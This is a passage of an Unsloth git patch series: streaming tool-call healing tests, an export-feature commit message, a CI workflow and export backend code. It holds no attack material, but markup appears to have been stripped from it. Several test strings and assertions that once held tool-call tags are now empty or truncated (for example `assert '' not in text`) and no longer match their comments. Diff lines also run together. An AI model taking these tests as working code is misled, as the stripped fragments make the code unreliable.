tag"}}]}', + 'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}', + "data: [DONE]", + ] + chunks = await _drive_stream(monkeypatch, _payload(), lines) + payloads = _stream_payloads(chunks) + text = "".join( + (c.get("delta") or {}).get("content") or "" + for p in payloads + for c in p.get("choices", []) + ) + assert text == "use the
tag" + finishes = [ + c["finish_reason"] + for p in payloads + for c in p.get("choices", []) + if c.get("finish_reason") + ] + assert finishes == ["stop"] + + asyncio.run(_run()) + + def test_incomplete_xml_healed_at_done(self, monkeypatch): + async def _run(): + # No close tag and no finish chunk: healed at the [DONE] boundary, + # synthetic finish must say tool_calls. + lines = [ + 'data: {"id":"c1","choices":[{"index":0,"delta":{"content":"{\\"name\\":\\"lookup\\",\\"arguments\\":{}}"}}]}', + "data: [DONE]", + ] + chunks = await _drive_stream(monkeypatch, _payload(), lines) + payloads = _stream_payloads(chunks) + tool_deltas = [ + tc + for p in payloads + for c in p.get("choices", []) + for tc in (c.get("delta") or {}).get("tool_calls") or [] + ] + assert len(tool_deltas) == 1 + finishes = [ + c["finish_reason"] + for p in payloads + for c in p.get("choices", []) + if c.get("finish_reason") + ] + assert finishes == ["tool_calls"] + + asyncio.run(_run()) + + def test_structured_upstream_calls_relay_verbatim(self, monkeypatch): + async def _run(): + line = ( + 'data: {"id":"c1","choices":[{"index":0,"delta":{"tool_calls":' + '[{"index":0,"id":"call_up","type":"function","function":' + '{"name":"lookup","arguments":"{}"}}]}}]}' + ) + lines = [ + line, + 'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"tool_calls"}]}', + "data: [DONE]", + ] + chunks = await _drive_stream(monkeypatch, _payload(), lines) + assert chunks[0] == line + "\n\n" # byte-for-byte relay + + asyncio.run(_run()) diff --git a/studio/backend/tests/test_responses_tool_passthrough.py b/studio/backend/tests/test_responses_tool_passthrough.py index 4147746b54..a7ceb49ed9 100644 --- a/studio/backend/tests/test_responses_tool_passthrough.py +++ b/studio/backend/tests/test_responses_tool_passthrough.py @@ -1986,3 +1986,177 @@ class TestTranslatedMessagesValidate: msgs = _normalise_responses_input(payload) for m in msgs: ChatMessage(**m.model_dump(exclude_none = True)) + + +# ===================================================================== +# Streaming passthrough healing — text-form calls promoted in order +# ===================================================================== + + +class TestResponsesStreamHealing: + """Route-level healing on the /v1/responses stream: text-form tool calls + are promoted through the same per-call item state machinery as structured + deltas, and healer events keep their order (text around a healed call must + not move relative to the function_call item).""" + + _XML = '{"name":"lookup","arguments":{"q":"x"}}' + _TOOL = {"type": "function", "name": "lookup", "parameters": {"type": "object"}} + + @staticmethod + def _ordered_events(lines): + events = [] + for line in lines: + if not line.startswith("event: "): + continue + name, _, rest = line.partition("\n") + payload = json.loads(rest.split("data: ", 1)[1].strip()) + events.append((name[len("event: ") :], payload)) + return events + + def _run_stream(self, monkeypatch, content, **payload_kwargs): + TestResponsesStreamAdapter._install_stream_mock( + monkeypatch, [{"choices": [{"delta": {"content": content}}]}] + ) + payload = ResponsesRequest(input = "hi", stream = True, tools = [self._TOOL], **payload_kwargs) + messages = [ChatMessage(role = "user", content = "hi")] + + async def run(): + response = await _responses_stream( + payload, messages, TestResponsesStreamAdapter._Request() + ) + return await TestResponsesStreamAdapter._collect(response) + + return self._ordered_events(asyncio.run(run())) + + def test_text_around_healed_call_keeps_order(self, monkeypatch): + events = self._run_stream(monkeypatch, f"before {self._XML} after.") + pos_before = pos_item = pos_after = None + for i, (name, payload) in enumerate(events): + if name == "response.output_text.delta": + if "before" in payload["delta"] and pos_before is None: + pos_before = i + if "after" in payload["delta"]: + pos_after = i + if ( + name == "response.output_item.added" + and payload["item"]["type"] == "function_call" + and pos_item is None + ): + pos_item = i + assert payload["item"]["name"] == "lookup" + assert pos_before is not None and pos_item is not None and pos_after is not None + assert pos_before < pos_item < pos_after + + def test_call_before_trailing_text_claims_lower_output_index(self, monkeypatch): + events = self._run_stream(monkeypatch, f"{self._XML} done.") + item_added = [ + (name, payload) for name, payload in events if name == "response.output_item.added" + ] + # The call came first in the model output, so its item is added first + # and claims the lower output_index; the trailing text's message item + # follows. + assert [payload["item"]["type"] for _, payload in item_added] == [ + "function_call", + "message", + ] + call_idx = item_added[0][1]["output_index"] + msg_idx = item_added[1][1]["output_index"] + assert call_idx < msg_idx + text = "".join( + payload["delta"] for name, payload in events if name == "response.output_text.delta" + ) + assert "done." in text + assert "" not in text + + def test_tool_choice_none_streams_raw_text(self, monkeypatch): + events = self._run_stream(monkeypatch, self._XML, tool_choice = "none") + assert not any( + payload["item"]["type"] == "function_call" + for name, payload in events + if name == "response.output_item.added" + ) + text = "".join( + payload["delta"] for name, payload in events if name == "response.output_text.delta" + ) + assert text == self._XML + + def test_healed_call_splits_message_items(self, monkeypatch): + # Text on both sides of a healed call becomes TWO message items: the + # healed function_call closes the first, trailing text opens a fresh + # one with a later output index (native Responses stream shape). + events = self._run_stream(monkeypatch, f"before {self._XML} after.") + added = [ + (payload["output_index"], payload["item"]["type"], payload["item"].get("id")) + for name, payload in events + if name == "response.output_item.added" + ] + assert [item_type for _, item_type, _ in added] == [ + "message", + "function_call", + "message", + ] + assert [idx for idx, _, _ in added] == sorted(idx for idx, _, _ in added) + assert added[0][2] != added[2][2] # distinct message item ids + # Text deltas attribute to their OWN message item. + deltas = [ + (payload["item_id"], payload["delta"]) + for name, payload in events + if name == "response.output_text.delta" + ] + assert [d for i, d in deltas if i == added[0][2]] == ["before "] + assert [d for i, d in deltas if i == added[2][2]] == [" after."] + # The completed snapshot lists all three items with per-item text. + completed = [payload for name, payload in events if name == "response.completed"] + output = completed[0]["response"]["output"] + assert [item["type"] for item in output] == ["message", "function_call", "message"] + assert output[0]["content"][0]["text"] == "before " + assert output[2]["content"][0]["text"] == " after." + + def test_parallel_cap_drops_native_after_healed(self, monkeypatch): + # parallel_tool_calls=false: a healed call consumed the single allowed + # slot; a later native structured call (index 0, so it survives + # _drop_parallel_tool_call_deltas) must not open a second + # function_call item. + TestResponsesStreamAdapter._install_stream_mock( + monkeypatch, + [ + {"choices": [{"delta": {"content": self._XML}}]}, + { + "choices": [ + { + "delta": { + "tool_calls": [ + { + "index": 0, + "id": "call_up", + "function": {"name": "lookup", "arguments": "{}"}, + } + ] + } + } + ] + }, + ], + ) + payload = ResponsesRequest( + input = "hi", + stream = True, + tools = [self._TOOL], + parallel_tool_calls = False, + ) + messages = [ChatMessage(role = "user", content = "hi")] + + async def run(): + response = await _responses_stream( + payload, messages, TestResponsesStreamAdapter._Request() + ) + return await TestResponsesStreamAdapter._collect(response) + + events = self._ordered_events(asyncio.run(run())) + calls = [ + payload + for name, payload in events + if name == "response.output_item.added" and payload["item"]["type"] == "function_call" + ] + assert len(calls) == 1 + assert calls[0]["item"]["name"] == "lookup" diff --git a/studio/backend/tests/test_tool_call_parser_strict.py b/studio/backend/tests/test_tool_call_parser_strict.py index 931d8a705d..39fdd151be 100644 --- a/studio/backend/tests/test_tool_call_parser_strict.py +++ b/studio/backend/tests/test_tool_call_parser_strict.py @@ -71,6 +71,28 @@ class TestFunctionStyleTrailingText: call = _only(text) assert call == {"name": "python", "arguments": {"code": 'print("")'}} + def test_closed_function_with_trailing_prose_heal_path(self): + # Regression: the heal / finalize path (allow_incomplete=True) used to fold + # and the trailing prose into the argument and drop + # the prose from visible content. It must now match the strict path -- keep a + # clean argument and leave the trailing prose outside the call span. + text = "cats trailing words" + calls = parse_tool_calls_from_text(text, allow_incomplete = True) + assert len(calls) == 1 + fn = calls[0]["function"] + assert fn["name"] == "web_search" + assert json.loads(fn["arguments"]) == {"query": "cats"} + # The trailing prose sits outside the removed span, so it stays visible. + from core.tool_healing import ( + parse_tool_calls_from_text as _parse_with_spans, + ) + + _calls, spans = _parse_with_spans(text, allow_incomplete = True, with_spans = True) + out = text + for s, e in sorted(spans, reverse = True): + out = out[:s] + out[e:] + assert out == " trailing words" + def test_incomplete_function_without_close_is_still_rejected(self): text = "weather london" assert parse_tool_calls_from_text(text, allow_incomplete = False) == [] @@ -160,3 +182,18 @@ class TestHealingPathUnaffected: calls = parse_tool_calls_from_text(text, allow_incomplete = True) assert len(calls) == 1 assert calls[0]["function"]["name"] == "web_search" + + def test_closed_function_call_keeps_trailing_prose_out_of_arguments(self): + # allow_incomplete exists for truncated output; a call that DID close + # must parse identically to strict mode, leaving prose after + # out of the last parameter and out of the removal span. + from core.tool_healing import parse_tool_calls_from_text as parse_with_spans + + text = "cats trailing" + calls, spans = parse_with_spans(text, allow_incomplete = True, with_spans = True) + (call,) = calls + assert json.loads(call["function"]["arguments"]) == {"query": "cats"} + (span,) = spans + assert text[span[0] : span[1]] == ( + "cats" + ) From 026141a4a4026aa4a9bdf6d8752d8d3515f388b9 Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Fri, 3 Jul 2026 08:25:10 -0700 Subject: [PATCH 21/27] Studio: multi-select export formats, portable FP8/INT8, GGUF LoRA, and source parity (#6767) * Studio: expose full compressed-tensors scheme set in an export formats dropdown * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: multi-select export formats, portable torchao FP8/INT8, GGUF LoRA, source parity Export page overhaul on top of the formats dropdown: - Unify merged precision into one sorted multi-select list (16-bit first, then 8-bit, then 4-bit). Drop "vLLM" from labels, add INT8 (W8A8), INT8 (W8A16), INT4 (W4A16), MXFP4, MXFP8. Quick formats render as toggle pills; the rest live in a multi-select "More formats" dropdown, so several formats export in one run. - Add a portable torchao FP8/INT8 save path (Float8WeightOnlyConfig / Int8WeightOnlyConfig) that needs no NVIDIA GPU to produce and loads in vLLM. FP8 serializes to safetensors, INT8 to .bin. Wired into save_pretrained_merged and push_to_hub_merged via a TORCHAO_EXPORT_SCHEMES registry and _unsloth_save_torchao, parallel to the compressed-tensors path. - Hide NVIDIA-only compressed-tensors formats when no NVIDIA GPU is present; keep 16-bit and portable FP8/INT8. The backend also rejects a compressed request on non-NVIDIA hardware so it stays authoritative. - Relax merged export to non-PEFT models so Local Model and Hugging Face sources get the same 16-bit / compressed / portable options. - GGUF: send the whole quant list in one call (merge once, quantize many). - LoRA: add a GGUF adapter option (convert_lora_to_gguf.py) with an outtype select (f16/bf16/f32/q8_0/auto), alongside the safetensors adapter. - Thread the new fields through models, routes, orchestrator, and worker; extend the export tests. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: gate export by accelerator with a torch-aware reason; fix export save dir naming Export runs through Unsloth, which requires a compute accelerator (NVIDIA/AMD/Intel GPU or Apple MLX) and has no CPU code path, so a bare-CPU host cannot export even with PyTorch installed. Add export_capability() in utils/hardware that reports export_supported plus a precise reason so the UI stops showing a generic "no GPU": - pytorch_not_installed: a --no-torch install (even a physical GPU is unusable) - no_accelerator: PyTorch present but no supported accelerator (bare CPU) - mlx_unavailable: Apple Silicon where the MLX stack is missing or too old Expose the fields on /api/system/hardware and /api/system, and guard the mutating export routes (load-checkpoint, export/merged|base|gguf|lora) with HTTP 400 and the reason, leaving read-only endpoints usable so the Export page still renders. Make core/export/export.py import without PyTorch and without a usable accelerator (the Unsloth import is caught) so the export worker degrades to a clear message instead of crashing at import. Frontend: keep /export reachable on chat-only hosts and gray out the method and format options with the backend reason (Alert plus disabled MethodPicker) instead of silently redirecting to /chat, so users see why export is unavailable. Also fix the export save directory producing "model/null" for Local Model and Hugging Face sources that have no run/checkpoint, naming the folder from the model id. * CI: validate Studio export capability gating on Linux, Windows and macOS Add a small pytest matrix that runs studio/backend/tests/test_export_capability.py on ubuntu-latest, windows-latest and macos-latest. It confirms, on each real OS, that hardware.export_capability() reports the right decision and reason (pytorch_not_installed, no_accelerator, or mlx_unavailable) and that the export backend imports without PyTorch and degrades to a clear message instead of crashing. Hosted runners have no GPU/MLX, so this covers the "export unavailable, here is why" path a Mac/Windows user without an accelerator sees; a real accelerator export is validated separately. The job installs only a CPU PyTorch plus the backend import deps (no unsloth, triton, or llama.cpp), so it runs in seconds with no GPU. * Studio export: address Codex review (source-aware gating, GGUF LoRA token/MLX/guard) Frontend (export-page): - Gate LoRA and quantized-model restrictions on the active source. isAdapter / isQuantized come from the selected checkpoint; in Local Model / Hugging Face ("model") source mode they were stale, so LoRA stayed wrongly enabled for a direct base model (backend then rejects "No adapter to export") and a stale "quantized" flag disabled every method for an unrelated, exportable model. Add effectiveIsAdapter / effectiveIsQuantized (false outside checkpoint mode) and use them in the method-reset effect and the MethodPicker disabled state. - Hide the GGUF LoRA option on a macOS/MLX host (the backend rejects GGUF LoRA on MLX), so users no longer pick it, wait through the load, and always fail. Disable the "GGUF adapter" button on a Mac host and never send loraGguf there. Backend (core/export/export.py): - Pass the HF token into the GGUF LoRA conversion (save_pretrained_gguf), so a gated/private base model's config fetch in convert_lora_to_gguf.py is authenticated; without it the load can succeed but the conversion fails. - Guard the save_pretrained_gguf capability check with getattr so an older Unsloth model that lacks the method returns the clean "not supported" message instead of an AttributeError that surfaces as a generic 500. * Studio export: address 2nd Codex review (CI index, empty merged, test import) - studio-export-capability-ci.yml: add --extra-index-url https://pypi.org/simple to the torch install so torch's transitive deps still resolve; --index-url alone replaces PyPI with only the CPU wheel index, which does not serve all of them. - export-page handleStart: reject an empty merged selection (mirrors canExport), so clicking the panel's Start button with every precision pill deselected no longer submits mergedSelections: [] and launches an unintended default 16-bit export. - test_export_imatrix_compressed: the torchao-registry test now reads unsloth/save.py as text (like the other ast/string checks) instead of `import unsloth.save`, which raised ModuleNotFoundError in the CPU studio-backend suite that has no unsloth installed. * Studio export: make comments succinct across the export changes * Studio export: use load token for local GGUF LoRA export of gated bases * Studio export: harden portable torchao path and gate multi-format Hub push torchao (_unsloth_save_torchao): - merge to an isolated temp staging dir so a co-selected 16-bit output at save_directory is not deleted - narrow VLM detection to vision_config / ForVisionText2Text so T5/BART/Whisper are not misrouted - forward trust_remote_code (from auto_map) to the reload so custom-code models export Export UI: - hide portable torchao formats on macOS/MLX (backend rejects quantized export there) - restrict a Hub merged export to a single format (each writes to the repo root) * Studio export: torchao tokenizer remote-code + XPU offload, scale GGUF timeout torchao (_unsloth_save_torchao): - honor auto_map in the staged tokenizer/processor configs (not just model.config) when deriving trust_remote_code, so custom-code tokenizers reload after the merge - offload single-device XPU models to CPU (and empty the XPU cache) before the reload, matching the CUDA path, so an Intel GPU that fits the model once does not OOM on the second copy Export orchestrator: - scale the GGUF wait timeout by the number of requested quants so a multi-quant list export of a large model does not time out at a flat 3600s * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio export: show portable torchao formats only on non-NVIDIA (CPU) hosts Portable torchao FP8/INT8 is the fallback for hosts without the NVIDIA compressed-tensors path. On an NVIDIA GPU the compressed-tensors FP8/FP4/INT formats are the intended path (llm-compressor auto-installs), so hide the portable duplicates there; keep them on CPU / non-NVIDIA hosts and continue hiding them on macOS/MLX. * Studio export: report all output folders and the exported formats - Multi-format merged export now collects every sibling output directory (one per selected precision) instead of only the last; the success banner lists them all. - Show the selected precision formats in the run summary (a Formats row, like GGUF Quantizations), so the panel says what is being exported rather than just 'Merged Model'. - Persist the selected formats in the run summary and seed them on mount, so navigating away and back (or toggling the export method) restores the selection instead of resetting to 16-bit. * Studio export: list all output formats, add GGUF LoRA target, default Q8_0, auto-select newest checkpoint - Progress/summary panel now shows a Formats row with the selected merged formats, and the success banner lists every output folder a multi-format merged run creates (one line per format) instead of only the last one. - Merged format selection is seeded from the active run, so navigating away and back (or switching method cards) no longer resets it to 16-bit. - GGUF / Llama.cpp now offers an Export target toggle (Full model or LoRA adapter) for adapter checkpoints, reusing the LoRA GGUF export path. - Removed the Auto GGUF LoRA output type and defaulted to Q8_0 in the UI, the request model, and the backend defaults; the outtype list is now Q8_0/F16/BF16/F32. Core save.py still accepts auto for external callers. - When a finetune has no checkpoint selected, auto-select the newest one. * Studio torchao export: robust reload class + optional VLM import Two fixes to the portable torchao FP8/INT8 export reload, from review of the narrowed VLM detection: - Encoder-decoder seq2seq checkpoints (T5/BART/Whisper) are not causal LMs. With the narrowed is_vlm test they now correctly skip the image-text class, but fell through to AutoModelForCausalLM and failed to reload after the merge. Reload them with their own architecture class from the config instead. - AutoModelForImageTextToText was imported unconditionally at the top of the torchao path, so on Transformers builds without that class the import aborted every torchao export (even text-only). Import it lazily only for a VLM, with the AutoModelForVision2Seq fallback used elsewhere in Unsloth. * Studio: enable FP8/FP4 compressed export for newer-transformers models The shipped llm-compressor 0.10.x pins transformers<=4.57.6, so FP8/FP4 export failed for models needing a transformers 5.x sidecar (Qwen3.5, Gemma-4, Qwen3-Next): the quantization subprocess crashed importing the removed TORCH_INIT_FUNCTIONS. Run the quantization against a dedicated llm-compressor-main "shadow": a --target package dir (transformers 5.10.2 + llm-compressor main + compressed-tensors) layered over the existing torch. It installs --no-deps so torch is never touched (works on any Studio torch build), is provisioned lazily and fingerprint-cached, and can be turned off with UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN. - transformers_version.py: provision + validate .venv_llmcompressor. - export.py: route all compressed exports through the shadow when available; else keep the workspace 0.10.x path and fail fast past its transformers ceiling. - save.py: launch _compressed_quantize.py with a clean PYTHONPATH = shadow. - _compressed_quantize.py: skip linear_attn / vision tower / MTP modules (matches the RedHatAI and NVIDIA reference quants, and is required by the grouped schemes). Verified all four schemes (fp8, w8a8, w4a16, mxfp4) on Qwen3.5-9B and Llama-3.2-1B, and fp8 on Gemma-4, end to end through Studio. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Fix GGUF LoRA export tests * Fix export CI expectations * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> Co-authored-by: wasimysaid <112766706+wasimysaid@users.noreply.github.com> Co-authored-by: Wasim Yousef Said --- .../workflows/studio-export-capability-ci.yml | 76 +++ studio/backend/core/export/export.py | 305 +++++++++-- studio/backend/core/export/orchestrator.py | 18 +- studio/backend/core/export/worker.py | 3 + studio/backend/main.py | 8 +- studio/backend/models/export.py | 27 +- studio/backend/routes/export.py | 25 + .../backend/tests/test_export_capability.py | 156 ++++++ .../tests/test_export_imatrix_compressed.py | 140 ++++- studio/backend/utils/hardware/__init__.py | 7 + studio/backend/utils/hardware/hardware.py | 43 ++ studio/backend/utils/transformers_version.py | 151 ++++++ studio/frontend/src/app/routes/__root.tsx | 3 + .../frontend/src/components/app-sidebar.tsx | 16 +- .../src/features/export/api/export-api.ts | 9 +- .../export/components/export-run-panel.tsx | 51 +- .../frontend/src/features/export/constants.ts | 168 +++++- .../src/features/export/export-page.tsx | 501 +++++++++++++++--- .../export/stores/export-runtime-store.ts | 116 ++-- .../frontend/src/hooks/use-hardware-info.ts | 15 + tests/studio/playwright_extra_ui.py | 14 +- unsloth/_compressed_quantize.py | 4 + unsloth/save.py | 494 ++++++++++++++++- 23 files changed, 2120 insertions(+), 230 deletions(-) create mode 100644 .github/workflows/studio-export-capability-ci.yml create mode 100644 studio/backend/tests/test_export_capability.py diff --git a/.github/workflows/studio-export-capability-ci.yml b/.github/workflows/studio-export-capability-ci.yml new file mode 100644 index 0000000000..1ee6489209 --- /dev/null +++ b/.github/workflows/studio-export-capability-ci.yml @@ -0,0 +1,76 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. + +# Runs studio/backend/tests/test_export_capability.py on Linux, Windows and macOS. +# +# export_capability() is per-OS (is_apple_silicon() and the PyTorch-import probe differ per +# platform) and the export backend must import without PyTorch, so this confirms the gating and +# import-safety on hosted Windows/macOS. Hosted runners have no GPU/MLX, so a real accelerator +# export is validated separately. No GPU / model / llama.cpp: the tests mock the probes and block +# torch/unsloth, so the job installs only a CPU PyTorch plus import deps. + +name: Studio export capability + +on: + pull_request: + paths: + - 'studio/backend/utils/hardware/hardware.py' + - 'studio/backend/core/export/export.py' + - 'studio/backend/routes/export.py' + - 'studio/backend/main.py' + - 'studio/backend/tests/test_export_capability.py' + - '.github/workflows/studio-export-capability-ci.yml' + push: + branches: [main] + paths: + - 'studio/backend/utils/hardware/hardware.py' + - 'studio/backend/core/export/export.py' + - 'studio/backend/routes/export.py' + - 'studio/backend/main.py' + - 'studio/backend/tests/test_export_capability.py' + - '.github/workflows/studio-export-capability-ci.yml' + workflow_dispatch: + +concurrency: + group: ${{ github.workflow }}-${{ github.ref }} + cancel-in-progress: true + +permissions: + contents: read + +jobs: + capability: + name: capability (${{ matrix.os }}) + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest, macos-latest] + runs-on: ${{ matrix.os }} + timeout-minutes: 20 + env: + # No accelerator on hosted runners; keep detection on the CPU path. + CUDA_VISIBLE_DEVICES: "" + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 + with: + python-version: '3.12' + cache: 'pip' + - name: Upgrade pip + run: python -m pip install --upgrade pip + - name: Install CPU PyTorch + # CPU wheel index so every OS gets a CPU build; keep PyPI as an extra index so torch's + # transitive deps still resolve (matching the other workflows in this repo). + run: python -m pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple "torch>=2.4,<2.13" + - name: Install backend import deps + # Enough to import utils.hardware and core.export.export; NOT unsloth (needs a GPU, and + # the import-safety test blocks it) or triton/llama.cpp (Linux-only / native builds). + run: python -m pip install + transformers peft accelerate safetensors huggingface_hub datasets + sentencepiece protobuf fastapi starlette structlog psutil + python-multipart pydantic httpx "numpy<3" pytest + - name: Export capability + import-safety tests + working-directory: studio/backend + run: python -m pytest tests/test_export_capability.py -q diff --git a/studio/backend/core/export/export.py b/studio/backend/core/export/export.py index d0461dae95..c8be50b08b 100644 --- a/studio/backend/core/export/export.py +++ b/studio/backend/core/export/export.py @@ -13,7 +13,18 @@ import shutil import contextlib from pathlib import Path from typing import Optional, Tuple, List -from unsloth import FastLanguageModel, FastVisionModel, _IS_MLX + +# unsloth imports torch on non-MLX hosts, so a --no-torch install raises here. Stay importable +# (null the classes) so exports return a clean "PyTorch is not installed" error, not an import crash. +try: + from unsloth import FastLanguageModel, FastVisionModel, _IS_MLX + _UNSLOTH_IMPORT_ERROR = None +except Exception as _unsloth_exc: # ImportError (e.g. missing torch) or a broken native load + FastLanguageModel = None + FastVisionModel = None + _IS_MLX = False + _UNSLOTH_IMPORT_ERROR = _unsloth_exc + from huggingface_hub import HfApi, ModelCard from utils.hardware import clear_gpu_cache @@ -27,14 +38,46 @@ from utils.paths import ( ) from core.inference import get_inference_backend -# GPU-only imports — guarded for Apple Silicon where these aren't needed +# GPU/PyTorch-only imports, skipped on MLX and on a --no-torch install so the module stays +# importable; export then degrades to a clear "PyTorch is not installed" error. +torch = None +_TORCH_IMPORT_ERROR: Optional[BaseException] = None if not _IS_MLX: - from peft import PeftModel, PeftModelForCausalLM - from transformers.modeling_utils import PushToHubMixin - import torch + try: + from peft import PeftModel, PeftModelForCausalLM + from transformers.modeling_utils import PushToHubMixin + import torch + except Exception as _torch_exc: # ImportError, or a broken native torch load + _TORCH_IMPORT_ERROR = _torch_exc logger = get_logger(__name__) + +def _export_runtime_available() -> bool: + """True if export can run: MLX active, or Unsloth imported (only succeeds on a GPU host).""" + return bool(_IS_MLX) or (FastLanguageModel is not None) + + +def _export_runtime_message() -> str: + """Precise reason the export runtime is unavailable, mirroring hardware.export_capability().""" + if torch is None: + return ( + "PyTorch is not installed. Model export requires PyTorch with a supported accelerator " + "(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export." + ) + return ( + "Export requires an NVIDIA, AMD, or Intel GPU, or Apple Silicon (MLX). No supported " + "accelerator was found on this host. (PyTorch is installed, but Unsloth cannot export on " + "CPU only.)" + ) + + +# Kept for call sites / tests referencing the PyTorch-missing text. +_PYTORCH_MISSING_MESSAGE = ( + "PyTorch is not installed. Model export requires PyTorch with a supported accelerator " + "(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export." +) + _LLAMA_CPP_SCRIPTS_WARNING_EMITTED = False @@ -58,6 +101,28 @@ def _compressed_export_supported(): return False +def _torchao_export_supported(): + """True if the installed unsloth build has the portable torchao FP8/INT8 export path.""" + try: + import unsloth.save as _us + return hasattr(_us, "_normalize_torchao_method") + except Exception: + return False + + +def _has_nvidia_gpu(): + """True only on a real NVIDIA CUDA box (not ROCm/XPU/CPU/MLX); compressed-tensors needs it.""" + try: + from utils.hardware import hardware as _hw + return _hw.DEVICE == _hw.DeviceType.CUDA and not _hw.IS_ROCM + except Exception: + try: + import torch + return bool(torch.cuda.is_available()) and getattr(torch.version, "hip", None) is None + except Exception: + return False + + def _hf_offline(timeout = 3): """True if export should avoid the Hub: honors the HF offline env vars, else does one cheap TCP reachability probe so a network-down load uses local files / the HF cache @@ -394,13 +459,17 @@ class ExportBackend: repo_id: Optional[str] = None, hf_token: Optional[str] = None, private: bool = False, + compressed_method: Optional[str] = None, ) -> Tuple[bool, str, Optional[str]]: """ Export merged model (for PEFT models). Args: save_directory: Local directory to save model - format_type: "16-bit (FP16)" or "4-bit (FP4)" + format_type: "16-bit (FP16)", "4-bit (FP4)", or a compressed-tensors label + compressed_method: Optional compressed-tensors scheme alias (e.g. "fp8", + "fp8_static", "w8a8", "w4a16", "mxfp4", "mxfp8", "nvfp4"). Overrides + format_type and is resolved against unsloth.save COMPRESSED_EXPORT_SCHEMES. push_to_hub: Whether to push to Hugging Face Hub repo_id: Hub repository ID (username/model-name) hf_token: Hugging Face token @@ -409,38 +478,108 @@ class ExportBackend: Returns: Tuple of (success: bool, message: str, output_path: Optional[str]) """ + if not _export_runtime_available(): + return False, _export_runtime_message(), None if not self.current_model or not self.current_tokenizer: return False, "No model loaded. Please select a checkpoint first.", None - if not self.is_peft: - return ( - False, - "This is not a PEFT model. Use 'Export Base Model' instead.", - None, - ) + # Merged export works for PEFT adapters and non-PEFT Local/HF base models alike + # (save_pretrained_merged is a no-op merge that just saves the base). output_path: Optional[str] = None - # compressed-tensors formats run save_pretrained_merged with an FP8/FP4 save_method and - # write to a sibling "-" directory (for vLLM). - _COMPRESSED = { - "FP8 (compressed-tensors)": ("fp8", "fp8"), - "NVFP4 (compressed-tensors)": ("nvfp4", "nvfp4"), + # Quantized formats save to a sibling "-". Two backends: compressed-tensors + # (llm-compressor, NVIDIA-only) and portable torchao FP8/INT8 (device-agnostic). The alias + # comes from `compressed_method` (the "all formats" dropdown) or the `format_type` label. + _LABEL_TO_ALIAS = { + "FP8 (compressed-tensors)": "fp8", + "NVFP4 (compressed-tensors)": "nvfp4", } - is_compressed = format_type in _COMPRESSED + compressed_alias = compressed_method or _LABEL_TO_ALIAS.get(format_type) + compressed_suffix: Optional[str] = None + # Classify the alias: torchao-portable vs compressed-tensors. + torchao_info = None + if compressed_alias and _torchao_export_supported(): + try: + import unsloth.save as _us_t + torchao_info = _us_t._normalize_torchao_method(compressed_alias) + except Exception: + torchao_info = None + is_torchao = torchao_info is not None + is_compressed = compressed_alias is not None and not is_torchao try: - if _IS_MLX: - if is_compressed: - return False, "Compressed-tensors export is not supported on macOS/MLX.", None - mlx_save_method = "merged_4bit" if format_type == "4-bit (FP4)" else "merged_16bit" - elif is_compressed: + if _IS_MLX and (is_compressed or is_torchao): + return ( + False, + "Quantized (FP8/FP4/INT) export is not supported on macOS/MLX. " + "Use 16-bit or GGUF.", + None, + ) + + if is_torchao: + # Portable torchao: no NVIDIA GPU, no calibration. + compressed_suffix = torchao_info[1] + + if is_compressed: + # compressed-tensors needs CUDA; enforce in the backend even if the UI gate is bypassed. + if not _has_nvidia_gpu(): + return ( + False, + "Compressed-tensors (FP8/FP4) export requires an NVIDIA GPU. On other " + "hardware use the portable FP8/INT8 (torchao) formats or 16-bit.", + None, + ) if not _compressed_export_supported(): return ( False, - "Compressed-tensors (FP8/NVFP4) export requires an Unsloth build with " + "Compressed-tensors (FP8/FP4) export requires an Unsloth build with " "compressed-tensors support. Upgrade unsloth, or choose 16-bit.", None, ) - save_method = _COMPRESSED[format_type][0] + import unsloth.save as _us + + # Prefer the llm-compressor-main shadow (transformers 5.x): it quantizes newer models + # (Qwen3.5, Gemma-4, ...) the shipped 0.10.x cannot. Route all compressed exports + # through it when available; else fall back to the workspace 0.10.x path below. + _shadow_pp = None + try: + from utils.transformers_version import llmcompressor_shadow_pythonpath + _shadow_pp = llmcompressor_shadow_pythonpath() + except Exception as e: + logger.warning(f"llm-compressor-main shadow unavailable: {e}") + if _shadow_pp: + os.environ[_us._COMPRESSED_QUANTIZE_PYTHONPATH_ENV] = _shadow_pp + else: + # No shadow (disabled/offline/failed): the workspace 0.10.x cannot exceed its + # transformers ceiling, so fail fast for sidecar models; default-tier still works. + os.environ.pop(_us._COMPRESSED_QUANTIZE_PYTHONPATH_ENV, None) + _exceeds, _tf_ver = _us._transformers_exceeds_llm_compressor_ceiling() + if _exceeds: + return ( + False, + "FP8/FP4 compressed-tensors export is not available for this model: it " + f"runs under transformers {_tf_ver}, but the installed llm-compressor " + f"supports transformers <= {_us._LLM_COMPRESSOR_MAX_TRANSFORMERS} and the " + "llm-compressor-main runtime could not be provisioned (offline or " + "UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN). Export to GGUF or 16-bit instead.", + None, + ) + + try: + info = _us._normalize_compressed_method(compressed_alias) + except Exception as e: + return False, f"Unsupported compressed export '{compressed_alias}': {e}", None + if info is None: + return ( + False, + f"'{compressed_alias}' is not a recognized compressed-tensors export.", + None, + ) + compressed_suffix = info[2] + + if 